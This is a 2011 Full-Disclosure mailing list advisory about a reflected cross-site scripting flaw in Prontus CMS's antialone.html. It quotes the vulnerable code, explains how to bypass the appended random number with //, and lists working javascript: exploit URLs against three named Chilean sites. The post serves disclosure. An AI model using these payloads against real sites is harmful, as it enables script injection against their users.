[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] Prontus CMS: Cross-Site Scripting vulnerability
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Prontus CMS: Cross-Site Scripting vulnerability
- From: "Zerial." <fernando@xxxxxxxxxx>
- Date: Mon, 11 Jul 2011 15:01:09 -0400
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Prontus is a /chilean/ "CMS" used by many sites in Chile.
The vulnerability is into "antialone.html" which contains some frames
using the value of "page" as "src" attribute:
+-----------------------------antialone.html------------------------------------------+
[...]
page = page + '?' + Math.random();
[...]
document.write(' <frame name="cont" src="' + page + '" marginwidth="0"
marginheight="0">');
[...]
+-------------------------------------------------------------------------------------+
If you enter "javascript:alert(1);" the 'src' will be
"javascript:alert(1);?<random number here>", now you must to "comment"
all after your javascript code. Example: javascript:alert(1);//
Now you can exploit it:
- -
http://www.fonasa.cl/prontus_fonasa/antialone.html?page=javascript:alert%28/XSS/%29;//
- -
http://www.senador.cl/prontus_senado/antialone.html?page=javascript:alert%28/XSS/%29;//
- -
http://www.ucv.cl/p1_rector/antialone.html?page=javascript:alert%28/XSS/%29;//
And many other sites...
Read this report in Spanish: http://bit.ly/p4l50m
- --
Zerial
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial@xxxxxxxxxxxx
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iEYEARECAAYFAk4bSHUACgkQIP17Kywx9JQG8QCfUIn+nZHBEOK9YXtgUWuu5wHx
74UAn1fUqNx3MPlfz+wuWvmxO+FRM0f+
=wYYT
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/